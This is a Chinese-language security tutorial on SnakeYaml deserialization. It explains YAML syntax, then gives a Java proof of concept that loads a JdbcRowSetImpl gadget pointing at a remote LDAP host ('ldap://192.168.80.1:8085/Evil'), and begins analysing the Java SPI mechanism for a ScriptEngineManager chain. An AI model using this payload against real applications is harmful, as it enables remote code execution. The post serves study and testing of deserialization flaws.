深入浅出SnakeYaml反序列化

2024-11-05 21 0

SnakeYaml是java的yaml解析类库,支持Java对象的序列化/反序列化。

类似python,SnakeYaml使用缩进代表层级关系,缩进只能用空格,不能用TAB。

Copy一手Yaml语法:

1、对象

使用冒号代表,格式为key: value。冒号后面要加一个空格:

key: value

可以使用缩进表示层级关系:

key: 
    child-key: value
    child-key2: value2

2、数组

使用一个短横线加一个空格代表一个数组项:

hobby:
    - Java
    - LOL

3、常量

YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。下面使用一个例子来快速了解常量的基本使用:

boolean: 
    - TRUE  #true,True都可以
    - FALSE  #false,False都可以
float:
    - 3.14
    - 6.8523015e+5  #可以使用科学计数法
int:
    - 123
    - 0b1010_0111_0100_1010_1110    #二进制表示
null:
    nodeName: 'node'
    parent: ~  #使用~表示null
string:
    - 哈哈
    - 'Hello world'  #可以使用双引号或者单引号包裹特殊字符
    - newline
      newline2    #字符串可以拆成多行,每一行会被转化成一个空格
date:
    - 2022-07-28    #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime: 
    -  2022-07-28T15:02:31+08:00    #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

SnakeYaml反序列化

全版本可利用

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过反序列化之后返回一个Java对象;

  • Yaml.dump():将一个对象转化为yaml文件形式;

其中序列化出来的对象格式为!!Snake.类名

深入浅出SnakeYaml反序列化插图

在反序列化时可以用!!指定反序列化的类名,跟fastjson一样

且是调用setter赋值,fastjson能用的JdbcRowSetImpl肯定能用

JdbcRowSetImpl

注意SnakeYaml不能互转false和0,所以payload填false bool

POC:

public static void main(String[] args) throws Exception {
        String str = "!!com.sun.rowset.JdbcRowSetImpl\n" +
                "{\n"+
                "dataSourceName: ldap://192.168.80.1:8085/Evil,\n" +
                "autoCommit: false\n"+
                "}";
        Yaml yaml = new Yaml();
        yaml.load(str);
    }

ScriptEngineManager

这个链利用了SPI机制

SPI 机制

Java SPI(Service Provider Interface)是Java官方提供的一种服务发现机制,它允许在运行时动态地加载实现特定接口的类,而不需要在代码中显式地指定该类

当使用ServiceLoader.load(Class<T> service) 方法加载服务时,会检查META-INF/services目录下是否存在以接口全限定名命名的文件。如果存在,则读取文件内容,获取实现该接口的类的全限定名,并通过Class.forName()方法加载对应的类。

而且当我们调用ServiceLoader.load(Class<T> service)方法时,并不会立即将所有实现了该接口的类都加载进来,而是返回一个懒加载迭代器

只有在使用迭代器遍历时,才会按需加载对应的类并创建其实例。

我们从源码分析下

SPI源码分析

锁定到ServiceLoader.load(Class<T> service),调用了另一个参数的load

深入浅出SnakeYaml反序列化插图1

然后调用ServiceLoader构造函数

深入浅出SnakeYaml反序列化插图2

构造函数调用reload

深入浅出SnakeYaml反序列化插图3

reload生成了一个LazyIterator

深入浅出SnakeYaml反序列化插图4

跟进到这个LazyIterator内部类,很明显我们在使用这个迭代器的时候,会先调用hashNext->hasNextService;再调用next,进而调用到nextService

深入浅出SnakeYaml反序列化插图5

在它的hasNextService获取了类路径为"META-IN/services/"+类名,并getResource,注意这里获取到的是configs的路径。后面的parse是解析这个configs

深入浅出SnakeYaml反序列化插图6

parse按行解析configs文件

深入浅出SnakeYaml反序列化插图7

在ServiceLoader.LazyInterator的nextService内完成了Class.forName初始化和newInstance实例化

深入浅出SnakeYaml反序列化插图8

如果load的参数可以是http URL,是不是意味着ServiceLoader.load能加载远程META-INF/services下的恶意类?

SPI使用

先看看SPI怎么用的:

  • 定义接口:首先需要定义一个接口,所有实现该接口的类都将被注册为服务提供者。

  • 创建实现类:创建一个或多个实现接口的类,这些类将作为服务提供者。

  • 配置文件:在 META-INF/services 目录下创建一个以接口全限定名命名的文件(也就是我们前面分析的configs),文件内容为实现该接口的类的全限定名,每个类名占一行。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论